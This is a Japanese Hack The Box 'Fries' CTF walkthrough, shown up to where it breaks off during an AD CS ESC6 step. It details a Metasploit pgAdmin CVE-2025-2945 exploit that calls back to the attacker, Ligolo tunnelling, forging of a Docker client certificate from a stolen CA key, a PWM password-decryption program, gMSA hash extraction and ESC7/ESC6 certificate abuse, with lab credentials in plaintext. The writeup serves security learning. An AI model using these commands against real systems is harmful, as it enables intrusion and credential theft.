HTB Fries writeup
Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。
Summary
Section titled “Summary”Fries は、外部からは Ubuntu 上の nginx と Windows DC のサービスが同じ IP に見える構成でした。初期認証情報は AD には通らず、Gitea と pgAdmin にだけ有効でした。Gitea の履歴から PostgreSQL 認証情報を取得し、pgAdmin 9.1 の authenticated RCE で pgAdmin コンテナに入りました。コンテナ環境変数から SSH 可能な svc のパスワードを得て Ubuntu ホストへ移動し、Ligolo で内部ネットワークへ到達しました。
内部では NFS 経由で Docker TLS CA 秘密鍵を取得し、Docker authorization plugin の policy に合わせて CN=root のクライアント証明書を作成しました。Docker API からホストをマウントして Ubuntu 側の root を取得し、PWM の設定ファイルから svc_infra の LDAP proxy password を復号しました。
AD 側では svc_infra が gMSA_CA_prod$ の gMSA パスワードを読めました。gMSA_CA_prod$ は CA に対する ManageCa を持っていたため、AD CS の設定変更で EDITF_ATTRIBUTESUBJECTALTNAME2 を有効化しました。通常の Kerberos PKINIT は SID mismatch で失敗しましたが、同じ PFX を LDAPS Schannel の ldap-shell に使うと FRIES\Administrator として LDAP bind できました。そこで gMSA_CA_prod$ を Administrators に追加し、WinRM に再ログインして Administrator のデスクトップから root flag を取得しました。
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Fries |
| Platform | Hack The Box |
| OS | Windows / Ubuntu / Docker |
| Difficulty | Hard |
Attack Chain
Section titled “Attack Chain”nmap: AD services, nginx, SSH, PWM certificate names | | Initial credential works in Gitea and pgAdmin, not AD/SSH/WinRM vGitea history -> db-mgmt05.fries.htb + PostgreSQL credential | | pgAdmin 9.1 authenticated RCE (CVE-2025-2945) vpgAdmin container -> svc password -> SSH to Ubuntu host | | Ligolo route to 192.168.100.0/24 and Docker bridges vNFS export -> Docker TLS CA private key | | Authorization policy permits client certificate with CN=root vDocker API -> mount host / -> Ubuntu root | | Decrypt LDAP proxy password from PWM configuration vsvc_infra -> read gMSA password -> gMSA_CA_prod$ NTLM hash | | ManageCa enables EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6) vUser template -> administrator@fries.htb PFX | | PKINIT fails on SID mismatch; LDAPS Schannel ldap-shell succeeds vFRIES\\Administrator LDAP bind | | Add gMSA_CA_prod$ to Administrators; reconnect with WinRM vAdministrator desktop / root flagTarget Details
Section titled “Target Details”| Item | Value |
|---|---|
| Domain | fries.htb |
| DC | DC01.fries.htb / 192.168.100.1 |
| Web Host | 192.168.100.2 |
| Docker Bridge | 172.18.0.1, 172.17.0.1 |
| Initial Credential | d.cooper@fries.htb:D4LE11maan!! |
/etc/hosts は少なくとも次を入れます。
10.129.244.72 fries.htb dc01.fries.htb pwm.fries.htb code.fries.htb db-mgmt05.fries.htbLigolo で内部へ到達した後は、DC を 192.168.100.1 として直接指定できました。
Reconnaissance
Section titled “Reconnaissance”まず全ポートを確認します。
nmap -sS -A -p- --min-rate 10000 10.129.244.72 -oN fries.nmap重要な結果は次です。
22/tcp open ssh OpenSSH 8.9p1 Ubuntu53/tcp open domain Simple DNS Plus80/tcp open http nginx 1.18.088/tcp open kerberos-sec Microsoft Windows Kerberos389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb)443/tcp open ssl/http nginx 1.18.0445/tcp open microsoft-ds?636/tcp open ssl/ldap3268/tcp open ldap3269/tcp open ssl/ldap5985/tcp open http Microsoft HTTPAPI httpd 2.0Service Info: Host: DC01clock-skew: +7h00m00s443 の証明書から pwm.fries.htb が見えます。
ssl-cert: Subject: commonName=pwm.fries.htbこの最初のスキャンでは、1つの外部 IP に Linux と Windows の情報が混在しています。80/443/22 は Ubuntu/nginx/SSH ですが、88/389/445/5985 は Windows DC 側のサービスです。この時点で、表側の IP は単純な単一ホストではなく、NAT や proxy で Ubuntu と DC の両方へ到達している構成だと見ておきます。clock-skew が 7 時間ある点も後で Kerberos や証明書認証を使うときに効きます。
初期認証情報を AD 系に試しますが、ここでは失敗します。これは「初期認証情報は Web アプリ用」と判断する材料でした。
nxc ldap 10.129.244.72 -u d.cooper@fries.htb -p 'D4LE11maan!!'nxc winrm dc01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'nxc ssh dc01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'LDAP [-] fries.htb\d.cooper@fries.htb:D4LE11maan!!WINRM [-] fries.htb\d.cooper@fries.htb:D4LE11maan!!SSH [-] d.cooper@fries.htb:D4LE11maan!!vhost を探します。
ffuf -u http://fries.htb \ -H "Host: FUZZ.fries.htb" \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \ -accode [Status: 200, Size: 13593, Words: 1048, Lines: 272]vhost fuzzing は、同じ IP と port に対して HTTP Host header だけを変えて仮想ホストを探す手法です。nginx では server_name ごとに別アプリへ proxy する構成が多いため、DNS に載っていない名前でも Host header が一致すれば別のアプリが見えることがあります。ここでは code.fries.htb が Gitea への入口でした。
Gitea And pgAdmin
Section titled “Gitea And pgAdmin”http://code.fries.htb/ は Gitea です。初期認証情報でログインでき、HTTP clone もできます。Web のログイン名は d.cooper@fries.htb ですが、リポジトリ clone では dale を使いました。
git clone http://code.fries.htb/dale/fries.htb.git差分から db-mgmt05.fries.htb が見えます。
cd fries.htbgit diff HEAD~1The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires mod v3 access, contact Dylan, Mike or Dale)The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires infra access, contact Dylan, Mike or Dale).env は削除済みですが履歴から読めます。
git log --stat --all -- .envgit show 3e8ca66c0de6388ac663d4c1ea56ad9d309fda3b^:.envDATABASE_URL=postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_dbSECRET_KEY=y0st528wn1idjk3b9aGit はファイル削除後も、過去 commit の object を保持します。.env が現行 tree に無くても、削除 commit の親を指定すれば当時の内容を取り出せます。CTF だけでなく実環境でも、リポジトリに一度入った secret は履歴から消さない限り漏えい済みとして扱う必要があります。
db-mgmt05.fries.htb を hosts に追加すると pgAdmin に到達できます。初期認証情報でログインできます。
pgAdmin 4Version 9.1Current User d.cooper@fries.htbpgAdmin 9.1 は CVE-2025-2945 の対象でした。Metasploit module を使います。
msfconsolesearch CVE-2025-2945use exploit/multi/http/pgadmin_query_tool_authenticatedrun verbose=true \ db_name=ps_db \ db_pass=PsqLR00tpaSS11 \ db_user=root \ password=D4LE11maan!! \ rhosts=10.129.244.72 \ username=d.cooper@fries.htb \ vhost=db-mgmt05.fries.htb \ lhost=<tun0-ip> \ lport=4444[+] The target appears to be vulnerable. pgAdmin version 9.1.0 is affected[+] Successfully authenticated to pgAdmin[*] Meterpreter session 1 openedこの exploit は pgAdmin にログインできることと、登録済み DB へ接続できることが前提です。Gitea から得た PostgreSQL の DB_NAME、DB_USER、DB_PASS がここで必要になります。得られる shell は pgAdmin アプリケーションが動くコンテナ内の権限であり、Ubuntu ホストや DC の権限ではありません。以降は、コンテナ境界を意識して「この secret はホスト用か、コンテナ用か、AD 用か」を切り分けます。
コンテナ内で確認します。
meterpreter > sysinfometerpreter > getuidmeterpreter > run post/linux/gather/checkcontainermeterpreter > shellidenvComputer : cb46692a4590Server username: pgadmin[+] This appears to be a 'Docker' containeruid=5050(pgadmin) gid=0(root) groups=0(root)PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!PGADMIN_DEFAULT_EMAIL=admin@fries.htbDocker 環境では、アプリの初期パスワードや接続先が環境変数に残っていることがあります。PGADMIN_DEFAULT_PASSWORD は pgAdmin の初期管理者用ですが、この環境では Linux local user の svc にも再利用されていました。コンテナ内の secret がそのままホストや別サービスへ横展開できるとは限らないため、SMB、LDAP、SSH など複数プロトコルで使い回しを確認します。
PWM のエラーメッセージ、Web ページ、Gitea から候補ユーザーを作ります。
cat > users.txt <<'EOF'adminsvc_infrasvcadministratordaled.coopere.thompsond.rodriguezs.chenEOFpgAdmin の環境変数のパスワードを試します。SMB は失敗しますが SSH では svc が通ります。
netexec smb fries.htb -u users.txt -p 'Friesf00Ds2025!!'netexec ssh fries.htb -u users.txt -p 'Friesf00Ds2025!!' --continue-on-successSMB [-] fries.htb\svc:Friesf00Ds2025!! STATUS_LOGON_FAILURESSH [+] svc:Friesf00Ds2025!! Linux - Shell access!Web Host And Internal Network
Section titled “Web Host And Internal Network”SSH で Ubuntu ホストへ入ります。
ssh svc@fries.htbidss -antip addr showuid=1000(svc) gid=1000(svc) groups=1000(svc)IPv4 address for eth0: 192.168.100.2127.0.0.1:2376 LISTEN127.0.0.1:3000 LISTEN127.0.0.1:5050 LISTEN127.0.0.1:5000 LISTEN0.0.0.0:2049 LISTEN0.0.0.0:8443 LISTENnginx 設定から、各 vhost がローカルのサービスへ proxy されていることが分かります。
cat /etc/nginx/sites-enabled/*fries.htb -> http://127.0.0.1:5000db-mgmt05.fries.htb -> http://127.0.0.1:5050code.fries.htb -> http://127.0.0.1:3000pwm.fries.htb -> https://127.0.0.1:8443ss と nginx の設定から、外部公開されている HTTP サービスの多くが Ubuntu ホスト上の localhost または Docker bridge に閉じていることが分かります。SSH で Ubuntu に入れたことで、外部から直接届かない 127.0.0.1:2376 の Docker API や、内部ネットワーク 192.168.100.0/24 を次の調査対象にできます。
Ligolo で内部へルーティングします。攻撃側で tun を作ります。
sudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo upsudo ./proxy -selfcert -laddr 0.0.0.0:11601Ligolo-ng は target 側 agent から攻撃側 proxy へ outbound 接続を張り、その接続上に L3 トンネルを作ります。攻撃側の ligolo tun interface に route を追加すると、通常の nmap、netexec、certipy などをそのまま内部 IP に向けられます。proxy は tun interface と route を扱うため、ここでは sudo で起動します。
ターゲット側へ agent を置いて接続します。
chmod +x /tmp/agent/tmp/agent -connect <tun0-ip>:11601 -ignore-certLigolo の console でルートを追加します。
sessionautorouteroute_add --name <ligolo-interface> --route 240.0.0.1/32240.0.0.1/32 は Ligolo の magic IP として、target 側から見た 127.0.0.1 に到達する用途で使います。今回の Docker API は Ubuntu ホストの 127.0.0.1:2376 で待っているため、外部から直接届かない localhost サービスを扱う時に重要です。
疎通確認します。
ping 192.168.100.1ping 172.18.0.1ping 172.17.0.1内部の DC を確認します。
nmap -sS -A -p- --min-rate 10000 192.168.100.1 -oN dc01.nmap53/tcp open domain Simple DNS Plus135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds?464/tcp open kpasswd5?3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAPService Info: Host: DC01; OS: WindowsDocker bridge 側も確認します。
nmap -sS -A -p- --min-rate 10000 172.18.0.1 -oN docker.nmap22/tcp open ssh80/tcp open http nginx111/tcp open rpcbind2049/tcp open nfs_acl3000/tcp open http Gitea8443/tcp open ssl/http Apache Tomcat / PWMDocker mTLS
Section titled “Docker mTLS”NFS export を確認します。
showmount -e 192.168.100.2sudo mkdir -p /mnt/friessudo mount -t nfs -o vers=3,nolock 192.168.100.2:/srv/web.fries.htb /mnt/friesls -la /mnt/friesExport list for 192.168.100.2:/srv/web.fries.htb *
drwxrwx--- 2 root 59605603 4096 certsdrwxrwxrwx 2 root root 4096 shareddrwxr----- 5 svc svc 4096 webrootNFS はファイル権限を UID/GID 数値で評価します。サーバ側で root:59605603 に見えるディレクトリは、クライアント側でも同じ GID のグループに入れれば読めることがあります。これは Kerberos や LDAP の認証とは別で、NFS export と UNIX permission の問題です。
certs は GID 59605603 のグループだけ読めます。ターゲット側で SSSD の解決を確認すると infra managers です。
getent group 59605603id d.cooperid m.hanniganid d.wilsoninfra managers:*:59605603:d.cooper,m.hannigan,d.wilsonuid=59602614(d.cooper) groups=59600513(domain users),59605603(infra managers)攻撃側で同じ GID のグループを作ると、NFS 上の certs を読めます。
mkdir certssudo groupadd -g 59605603 infra_managerssudo usermod -aG infra_managers <attacker_user>sudo bash -c 'sg infra_managers -c "cp /mnt/fries/certs/* ./certs/"'ls certsca-key.pem ca.pem server-cert.pem server.csr server-key.pem server-openssl.cnf取得した ca-key.pem は Docker daemon が信頼する CA の秘密鍵です。Docker の TLS verify は「この CA で署名されたクライアント証明書を提示できるか」を見ます。したがって CA 秘密鍵があれば、任意の Common Name を持つクライアント証明書を作れます。ただし、この環境では TLS 認証の後に authorization plugin が追加で許可判定を行います。
Docker daemon は TLS client cert を必須にしています。
ps auxww | grep dockerd/usr/bin/dockerd ... --authorization-plugin=authz-broker --tlsverify \ --tlscacert=/etc/docker/certs/ca.pem \ --tlscert=/etc/docker/certs/server-cert.pem \ --tlskey=/etc/docker/certs/server-key.pem \ -H=127.0.0.1:2376クライアント証明書なしでは拒否されます。
openssl s_client -connect 240.0.0.1:2376Acceptable client certificate CA namesCN=DockerCAtlsv13 alert certificate required最初に任意 CN で証明書を作ると Docker TLS 認証自体は進みますが、authorization plugin で止まります。
openssl genrsa -out client-key.pem 2048openssl req -new -key client-key.pem -out client.csropenssl x509 -req \ -in client.csr \ -CA ca.pem \ -CAkey ca-key.pem \ -CAcreateserial \ -out client-cert.pemCSR の Common Name はまず pwn.com にしました。
alias DOCKER="docker \ --tlsverify \ --tlscacert=ca.pem \ --tlscert=client-cert.pem \ --tlskey=client-key.pem \ -H tcp://127.0.0.1:2376"
DOCKER versionError response from daemon: authorization denied by plugin authz-broker:no policy applied (user: 'pwn.com' action: 'docker_version')ここで分かるのは、Docker daemon への認証と認可が分かれていることです。mTLS は「DockerCA で署名された証明書を持っている」ことを証明しますが、authorization plugin は証明書 subject の CN を user として扱い、その user に許された Docker action だけを通します。CN=pwn.com は認証できても policy に存在しないため拒否されます。
authz-broker の policy を読みます。
find / -iname '*authz*' -o -iname '*broker*' 2>/dev/nullls /var/lib/authz-brokercat /var/lib/authz-broker/policy.json/var/lib/authz-brokerpolicy.json{"name":"policy_1", "users": ["svc"], "actions": ["container_list", "container_logs"]}{"name":"policy_1", "users": ["sysadm"], "actions": ["container"], "readonly":true}{"name":"policy_2", "users": ["root"], "actions": [""]}Docker authorization plugin は client certificate の CN を user として見ています。CN=root で作り直します。
openssl req -new -key client-key.pem -out client.csropenssl x509 -req \ -in client.csr \ -CA ca.pem \ -CAkey ca-key.pem \ -CAcreateserial \ -out client-cert.pemCSR の Common Name は root にします。これで Docker API が使えます。
DOCKER versionDOCKER container lsServer: Engine: Version: 28.2.2
CONTAINER ID IMAGE NAMESf427ecaa3bdd pwm/pwm-webapp:latest pwmcb46692a4590 dpage/pgadmin4:9.1.0 pgadmin4bfe752a26695 fries-web web858fdf51af59 postgres:16 postgresb916aad508e2 gitea/gitea:1.22.6 giteaホスト / をマウントして root として読みます。
DOCKER run --rm -it -v /:/global fries-web:latest bashcd /globalls rootcat root/user.txtscripts snap user.txt[REDACTED]PWM Config
Section titled “PWM Config”user flag 取得後は、Docker API で各コンテナを横断して artifact を探します。ここでの目的は、次の AD 側侵入に使える bind account、DB 接続情報、アプリ設定、平文または復号可能な secret を見つけることです。
まずコンテナの設定、環境変数、マウント、ネットワークを確認します。
DOCKER inspect pwm pgadmin4 web postgres giteaDOCKER exec -it <container> envDOCKER exec -it <container> shコンテナ内では設定ファイル、環境ファイル、DB、JSON/YAML を広めに探します。
find / -iname '*config*' -o -iname '*.env' -o -iname '*secret*' -o -iname '*password*' 2>/dev/nullfind / -name '*.db' -o -name '*.sqlite' -o -name '*.json' -o -name '*.yml' 2>/dev/null調査対象の目安は次でした。
gitea /data/gitea/conf/app.ini, /data/git, DB接続情報pgadmin /var/lib/pgadmin, pgadmin4.db, servers.jsonpwm /config, PwmConfiguration.xml, LDAP bind情報web /app, .env, config.py, DB接続情報postgres DB名・ユーザー・テーブル・dumpGitea の app.ini なども取り出して確認しましたが、最終的に AD 側へつながったのは PWM の LDAP proxy 設定でした。
DOCKER cp gitea:/data/gitea/conf/app.ini ./DOCKER cp pwm:/config/PwmConfiguration.xml ./以降は、取り出した PwmConfiguration.xml の重要な値を見ます。
<property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property><setting key="ldap.proxy.username" syntax="STRING"> <value>CN=svc_infra,CN=Users,DC=fries,DC=htb</value></setting><setting key="ldap.proxy.password" syntax="PASSWORD"> <value>ENC-PW:oF4OfldGCHrbhPuevlVNUl2wkgUFlqTwZtjoks/G2peQhAo1lKDFaQxK7bZB67s4ZWjp9XSJ+eB0lEG8bLpd45hP8XAfY8abvgQJm3ztQ0c=</value></setting><setting key="ldap.serverUrls" syntax="STRING_ARRAY"> <value>ldaps://dc01.fries.htb:636</value></setting>設定パスワード hash は bcrypt です。
hashcat -m 3200 -a 0 \ '$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG' \ /usr/share/wordlists/rockyou.txt$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG:rockon!Status...........: Crackedhttps://pwm.fries.htb の Configuration Manager には rockon! で入れますが、LDAP は証明書の trust store mismatch で動いていません。
Unable to bind to ldaps://dc01.fries.htb:636 as CN=svc_infra,CN=Users,DC=fries,DC=htbserver certificate does not match a certificate in the PWM configuration trust storePWM の ENC-PW: は、createTime + "StoredConfiguration" から SHA1 を作り、先頭 16 bytes を AES key にして AES/ECB/PKCS5Padding で復号できます。ldap.proxy.password の modifyTime は 2025-06-01T02:07:43Z でした。
再現用の最小 Java コードです。
import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import java.nio.charset.StandardCharsets;import java.security.MessageDigest;import java.util.Arrays;import java.util.Base64;
public final class PwmEncPwDecrypt { public static void main(String[] args) throws Exception { String createTime = "2025-06-01T02:07:43Z"; String enc = "ENC-PW:oF4OfldGCHrbhPuevlVNUl2wkgUFlqTwZtjoks/G2peQhAo1lKDFaQxK7bZB67s4ZWjp9XSJ+eB0lEG8bLpd45hP8XAfY8abvgQJm3ztQ0c="; String payload = enc.substring("ENC-PW:".length()); byte[] ciphertext = Base64.getDecoder().decode(payload); byte[] material = (createTime + "StoredConfiguration").getBytes(StandardCharsets.ISO_8859_1); byte[] sha1 = MessageDigest.getInstance("SHA-1").digest(material); byte[] key = Arrays.copyOfRange(sha1, 0, 16);
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key, "AES")); String json = new String(cipher.doFinal(ciphertext), StandardCharsets.UTF_8); System.out.println(json); }}javac PwmEncPwDecrypt.javajava PwmEncPwDecrypt{"salt":"v4DuLvUwLbqLOMq21Kgh1DD3LoMvvQqz","value":"m6tneOMAh5p0wQ0d"}svc_infra の AD 認証情報が得られます。
svc_infra:m6tneOMAh5p0wQ0d確認します。
cat > password.txt <<'EOF'D4LE11maan!PsqLR00tpaSS11Friesf00Ds2025!!rockon!m6tneOMAh5p0wQ0dEOF
netexec ldap dc01.fries.htb \ -u users.txt \ -p password.txt \ -d fries.htb \ --continue-on-successLDAP [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0dActive Directory
Section titled “Active Directory”svc_infra は LDAP 認証が通るため、ここから Windows 側の列挙に移ります。この段階で見たいのは、ログオン可能性に関わるローカル/ドメイングループ、コンピュータアカウント、証明書サービスに絡む権限、そして後で証明書認証に必要になる SID です。
まず LDAP でグループとコンピュータを確認します。
netexec ldap dc01.fries.htb \ -d fries.htb \ -u svc_infra \ -p 'm6tneOMAh5p0wQ0d' \ --groups --computersRemote Management Users 13Service Account Managers 10Infra Managers 3DC01$gMSA_CA_prod$WEB$Remote Management Users に多数のメンバーがいることは WinRM 経路の可能性を示します。Infra Managers は前段の NFS で出てきた Linux GID 59605603 と対応しており、AD のグループが Ubuntu 側へ SSSD で解決されていることの裏付けになります。コンピュータとして DC01$、WEB$ に加えて gMSA_CA_prod$ が見える点も重要です。名前から CA 管理用の gMSA である可能性が高く、後の BloodHound で優先して確認する対象になります。
次に SMB で share、ユーザー、RID を見ます。
netexec smb dc01.fries.htb \ -d fries.htb \ -u svc_infra \ -p 'm6tneOMAh5p0wQ0d' \ --shares --users --rid-bruteShare PermissionsIPC$ READNETLOGON READSYSVOL READ
500: FRIES\Administrator1104: FRIES\gMSA_CA_prod$3601: FRIES\svc_infraNETLOGON と SYSVOL は読めますが、ここから直接の秘密情報は得られませんでした。一方で RID brute の結果は後段で効きます。Administrator は RID 500、svc_infra は RID 3601 です。ESC6 後に発行した証明書で Security Extension SID が ...-3601 になっていることを見て、証明書が Administrator ではなく要求者 svc_infra に強く紐付いていると判断できます。
グループと SID の断片だけでは攻撃経路を見落としやすいため、BloodHound 用のデータを集めます。
rusthound-ce -d fries.htb \ -u svc_infra \ -p 'm6tneOMAh5p0wQ0d' \ -c All \ --zip重要な発見は次です。
svc_infra -> gMSA_CA_prod$ : ReadGMSAPasswordsvc_infra -> Authenticated Users -> fries-DC01-CA : Enrollここで攻撃経路が Windows 側へつながります。ReadGMSAPassword は、対象 gMSA の管理パスワード BLOB を読める権限です。NetExec はそれを解釈して NTLM hash を出せるため、gMSA_CA_prod$ の平文パスワードを知らなくても pass-the-hash できます。さらに svc_infra は Authenticated Users として CA に enroll できるため、AD CS の列挙と証明書要求を行う前提も満たしています。
gMSA password を読みます。
netexec ldap dc01.fries.htb \ -d fries.htb \ -u svc_infra \ -p 'm6tneOMAh5p0wQ0d' \ --gmsaAccount: gMSA_CA_prod$NTLM: 5710cd97225e920cdc6badc919fc8c51PrincipalsAllowedToReadPassword: svc_infraこの hash は gMSA_CA_prod$ として CA 操作や WinRM ログインを試すための主要 artifact です。特に gMSA_CA_prod$ は名前と後続の Certipy 結果から CA 管理権限を持つことが分かるので、ここで得た hash が AD CS 攻撃の入口になります。
MachineAccountQuota も確認します。
netexec ldap dc01.fries.htb \ -d fries.htb \ -u svc_infra \ -p 'm6tneOMAh5p0wQ0d' \ -M maqMachineAccountQuota: 0MAQ が 0 なので、一般ユーザー権限で新しい computer account を作って Domain Computers enroll 権限を利用する手は使えません。したがって、Machine template を中心にするより、既存の svc_infra と gMSA_CA_prod$ の権限から AD CS を攻める方針に寄せます。
AD CS では、CA 側の権限とテンプレート側の enroll 権限を分けて見ます。CA に対する ManageCa や ManageCertificates は強力ですが、それだけで任意テンプレートを enroll できるわけではありません。逆に enroll できるテンプレートがあっても、SAN や SID を自由に入れられないと Administrator 偽装にはつながりません。
svc_infra で CA とテンプレートを列挙します。
certipy-ad find \ -u 'svc_infra@fries.htb' \ -p 'm6tneOMAh5p0wQ0d' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -stdoutCA の重要部分です。
CA Name : fries-DC01-CADNS Name : DC01.fries.htbUser Specified SAN : DisabledRequest Disposition : IssueEnforce Encryption for Requests : EnabledAccess Rights ManageCa : FRIES.HTB\gMSA_CA_prod FRIES.HTB\Domain Admins FRIES.HTB\Enterprise Admins FRIES.HTB\Administrators Enroll : FRIES.HTB\gMSA_CA_prod FRIES.HTB\Domain Users FRIES.HTB\Domain Computers FRIES.HTB\Authenticated Usersこの出力から、gMSA_CA_prod$ が CA に ManageCa を持つこと、svc_infra を含む認証済みユーザーが CA に enroll できることが分かります。一方で User Specified SAN : Disabled なので、このままでは ESC6 のように要求属性で SAN を差し込むことはできません。ここを変更できるかが後半の分岐になります。
svc_infra 視点の -vulnerable では、テンプレート脆弱性は出ません。
certipy-ad find \ -u 'svc_infra@fries.htb' \ -p 'm6tneOMAh5p0wQ0d' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -vulnerable \ -stdout[!] Vulnerabilities ESC7 : User has dangerous permissions.Certificate Templates : [!] Could not find any certificate templatesgMSA_CA_prod$ は CA に ManageCa を持つため ESC7 と表示されます。
certipy-ad find \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -vulnerable \ -stdout[+] User ACL Principals : FRIES.HTB\gMSA_CA_prod[!] Vulnerabilities ESC7 : User has dangerous permissions.ESC7 Attempt
Section titled “ESC7 Attempt”ESC7 は、証明書テンプレートではなく CA オブジェクト側の危険な権限を悪用する分類です。代表例は ManageCa や ManageCertificates で、CA の officer 追加、テンプレート有効化、保留/拒否リクエストの再発行などに関わります。ただし CA 権限だけで全てが通るわけではなく、リクエストした主体がテンプレートを enroll できるか、CA ACL に Deny がないか、発行操作がどの権限で評価されるかが問題になります。
Certipy の ESC7 手順に沿って officer 追加と SubCA 有効化を試します。
certipy-ad ca \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -add-officer 'gMSA_CA_prod$'
certipy-ad ca \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -add-officer 'svc_infra'
certipy-ad ca \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -enable-template 'SubCA'[*] Successfully added officer 'gMSA_CA_prod$' on 'fries-DC01-CA'[*] Successfully added officer 'svc_infra' on 'fries-DC01-CA'[*] Successfully enabled 'SubCA' on 'fries-DC01-CA'Administrator の SID を確認します。
lookupsid.py 'fries.htb/svc_infra:m6tneOMAh5p0wQ0d@dc01.fries.htb'Domain SID is: S-1-5-21-858338346-3861030516-3975240472500: FRIES\Administrator1104: FRIES\gMSA_CA_prod$3601: FRIES\svc_infraSubCA で Administrator を指定して要求します。
certipy-ad req \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -template 'SubCA' \ -upn 'administrator@fries.htb' \ -sid 'S-1-5-21-858338346-3861030516-3975240472-500'[*] Request ID is 43[-] CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll[*] Saving private key to '43.key'ESC7 では通常、この denied request を manager/officer 権限で issue します。しかしここでは失敗します。
certipy-ad ca \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -issue-request 43 \ -debug[-] Access denied: Insufficient permissions to issue certificateretrieve でもテンプレート拒否のままです。
certipy-ad req \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -retrieve 43 \ -debug[-] Got error while retrieving certificate:code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIEDWinRM で gMSA_CA_prod$ に入り、CA ACL を確認します。
uv run evil-winrm-py \ -i dc01.fries.htb \ -u 'gMSA_CA_prod$' \ -H 5710cd97225e920cdc6badc919fc8c51以降の Get-CertificationAuthority、Get-CertificationAuthorityAcl、Get-PendingRequest、Approve-CertificateRequest は PSPKI の cmdlet です。WinRM セッションで未読み込みなら先に import します。
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc01.fries.htb | Get-CertificationAuthorityAcl | select -expand Access重要なのは、Deny と Allow が混在していることです。
Rights : ManageCertificatesAccessControlType : DenyIdentityReference : FRIES\gMSA_CA_prod$
Rights : ManageCA, ManageCertificates, EnrollAccessControlType : AllowIdentityReference : FRIES\gMSA_CA_prod$
Rights : ManageCertificatesAccessControlType : AllowIdentityReference : FRIES\svc_infraPSPKI の Approve-CertificateRequest は出力なしで戻りますが、certutil -resubmit は拒否されます。
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc01.fries.htb | Get-PendingRequest -RequestID 43 | Approve-CertificateRequest
certutil -config "DC01.fries.htb\fries-DC01-CA" -resubmit 43certutil -config "DC01\fries-DC01-CA" -resubmit 43CertUtil: -resubmit command FAILED: 0x80070005 (WIN32: 5 ERROR_ACCESS_DENIED)CertUtil: Access is denied.このため、通常の ESC7 SubCA issue path は dead end と判断しました。
ESC6 Configuration
Section titled “ESC6 Configuration”ESC6 は CA の policy flag EDITF_ATTRIBUTESUBJECTALTNAME2 によって、証明書要求の attribute から SAN を受け入れる状態です。これはテンプレート単体の設定ではなく CA 全体の policy module 設定なので、変更後に certsvc の再起動が必要です。User テンプレート自体が EnrolleeSuppliesSubject でなくても、CA が要求 attribute の SAN を採用するようになるため、UPN を差し込む攻撃面が生まれます。
certutil -setreg で CA の EDITF_ATTRIBUTESUBJECTALTNAME2 を有効化しようとすると、管理者昇格が必要で失敗します。
certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2Administrator permissions are needed to use the selected options.CertUtil: The requested operation requires elevation.ただし CertificateAuthority.Admin COM object から SetConfigEntry は実行できました。この COM object の呼び出し自体は PSPKI cmdlet ではありません。
$ConfigString = "DC01.fries.htb\fries-DC01-CA"$Node = "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"$EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000$CertAdmin = New-Object -ComObject CertificateAuthority.Admin$Flags = $CertAdmin.GetConfigEntry($ConfigString, $Node, "EditFlags")"{0:X}" -f $Flags
